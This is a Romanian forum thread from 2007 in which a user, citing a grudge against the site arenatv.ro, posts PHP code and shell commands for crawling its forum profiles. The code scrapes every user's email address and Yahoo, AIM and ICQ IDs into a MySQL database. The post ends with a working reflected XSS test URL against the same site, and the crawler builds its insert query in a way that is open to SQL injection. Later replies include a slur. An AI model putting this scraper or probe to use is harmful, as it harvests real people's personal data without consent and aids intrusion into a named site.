moubik Posted October 24, 2007 Report Share Posted October 24, 2007 am o mica rafuiala cu arenatv.rosi m-am gandit hai sa vedem ce pot sa aflu despre site-ul lor, despre server, despre orice.si o sa va prezint doar cum sa substrageti informatiile despre userii lor, deci practic cum sa scrieti un crawler.am pornit pe forum si m-am uitat la un user. vad acolo ca linkul este de forma:http://www.arenatv.ro/forum/profile.php?mode=viewprofile&u=9497deci daca as putea sa fac un program care sa mearga de la primul pana la ultimul user as putea sa extrag toate informatiile de acolo.prima oara trebuie sa fac program de test si blablabla, deci:completez la profilul meu tot ce se poate completa ca sa fac testele pe aceasta pagina.iau pagina local cu wgetdin command line:wget "http://www.arenatv.ro/forum/profile.php?mode=viewprofile&u=9497"redenumesc fisierul pe care mi l-a downloadat in "profile"si ma apuc sa scriu expresiile regulate.iese acest program:<?$page = file_get_contents("profile");$founduser = preg_match("/Viewing profile :: (.*?)<\/b><\/th>/", $page, $user);$foundmail = preg_match("/href=\"mailto:(.*?)\"><img src=\"templates\/AdInfinitum\/images\/lang_english\/icon_email.gif\"/", $page, $mail);$foundyahooid = preg_match("/\"http:\/\/edit\.yahoo\.com\/config\/send_webmesg\?\.target=(.*?)&\.src=pg\"/", $page, $yahooid);$foundaimid = preg_match("/aim:goim\?screenname=(.*?)&message=Hello\+Are\+you\+there/", $page, $aimid);$foundicqid = preg_match("/http:\/\/wwp\.icq\.com\/scripts\/search\.dll\?to=(.*?)\"><img src=\"templates\/AdInfinitum\/images\/lang_english\/icon_icq_add\.gif\"/", $page, $icqid);if ($founduser) echo "user=".$user[1] ."\n";if ($foundmail) echo "mail=".$mail[1] ."\n";if ($foundyahooid) echo "yahooid=".$yahooid[1] ."\n";if ($foundaimid) echo "aimid=".$aimid[1] ."\n";if ($foundicqid) echo "icqid=".$icqid[1] ."\n";?>ca sa scrii expresiile regulate pur si simplu te uiti in sursa paginii si selectezi o bucata de text ce cuprinde informatia pe care vrei sa o extragi.acum daca stii putin expresii regulate stii ca unele caractere au semnificatii speciale. ceea ce inseamna ca trebuie sa le "escape", deci sa punem un "\"nu pot sa intru in amanunt pentru ca sunt destul de complexe expresiile regulate, sa treceti si prin tutorialul lui vladiii de aicibun, vedem ca programelul php merge like a lucky charm.mai departe facem mici modificari pentru a salva toate aceste informatii intr-o baza de date prima oara creem baza de date, sa zicem arenatv.si o tabela de aceasta structura:user <- primary si unic, stringmail <- stringyahooid <- stringaimid <- stringicqid <- stringsql-ul pentru crearea tabelei poate sa fie de forma:CREATE TABLE IF NOT EXISTS `users` ( `user` varchar(30) NOT NULL, `mail` varchar(30) NOT NULL, `yahooid` varchar(30) NOT NULL, `aimid` varchar(30) NOT NULL, `icqid` varchar(30) NOT NULL, PRIMARY KEY (`user`)) ENGINE=MyISAM DEFAULT CHARSET=latin1;am creat baza de date, am creat tabela, avem si programelul care introduce in baza de date:<?//link-ul fara numarul unic al fiecarui user$baselink = "http://www.arenatv.ro/forum/profile.php?mode=viewprofile&u=";//de la ce user pana la ce user sa faca extragerea informatiilor$min = 0;$max = 9500;//ne conectam la baza de datemysql_connect("localhost", "user", "parola");mysql_select_db("arenatv");//inceputul query-ului de insert$queryInsertInfo = "INSERT INTO users VALUES (";for($i = $min ; $i <= $max ; $i++ ){//putem sa tragem o pagina de pe net chiar cu aceasta functie//am facut append la $baselink cu id-ul userului la care suntem $page = file_get_contents($baselink . $i); $founduser = preg_match("/Viewing profile :: (.*?)<\/b><\/th>/", $page, $user); $foundmail = preg_match("/href=\"mailto:(.*)\"><img src=\"templates\/AdInfinitum\/images\/lang_english\/icon_email.gif\"/", $page, $mail); $foundyahooid = preg_match("/\"http:\/\/edit\.yahoo\.com\/config\/send_webmesg\?\.target=(.*?)&\.src=pg\"/", $page, $yahooid); $foundaimid = preg_match("/aim:goim\?screenname=(.*?)&message=Hello\+Are\+you\+there/", $page, $aimid); $foundicqid = preg_match("/http:\/\/wwp\.icq\.com\/scripts\/search\.dll\?to=(.*?)\"><img src=\"templates\/AdInfinitum\/images\/lang_english\/icon_icq_add\.gif\"/", $page, $icqid); //introducem informatiile in stringul de query $tempQuery = $queryInsertInfo; if ($founduser) { $tempQuery .= "'". $user[1] ."',"; } else $tempQuery .= "'',"; if ($foundmail) { $tempQuery .= "'". $mail[1] ."',"; } else $tempQuery .= "'',"; if ($foundyahooid) { $tempQuery .= "'". $yahooid[1] ."',"; } else $tempQuery .= "'',"; if ($foundaimid) { $tempQuery .= "'". $aimid[1] ."',"; } else $tempQuery .= "'',"; if ($foundicqid) { $tempQuery .= "'". $icqid[1] ."'"; } else $tempQuery .= "''"; $tempQuery .= ");"; //inchidem query-ul //afisam pe ecran la ce user suntem si cum arata query-ul echo "id=$i\n"; echo $tempQuery ."\n\n"; mysql_query($tempQuery);}?>daca sunt useri care au fost stersi acestia nu se vor adauga de 2 ori pentru ca coloana "user" din tabela mysql este primara si astfel unica si nu se vor adauga cate o linie pentru fiecare user care nu exista.stam si ne uitam pe ecran cum sunt stranse informatiile despre fiecare user daca vreti pot sa va spun toata analiza site-ului pe care am facut-o.ahh.. apropohttp://www.arenatv.ro/index.php/"><script>alert(1);</script> Quote Link to comment Share on other sites More sharing options...
moubik Posted October 24, 2007 Author Report Share Posted October 24, 2007 ahh, am uitat sa spun ca unii oameni iubitori de vecini din nord folosesc explode in loc de regex Quote Link to comment Share on other sites More sharing options...
moubik Posted October 25, 2007 Author Report Share Posted October 25, 2007 argumenteaza Quote Link to comment Share on other sites More sharing options...
moubik Posted October 25, 2007 Author Report Share Posted October 25, 2007 fag Quote Link to comment Share on other sites More sharing options...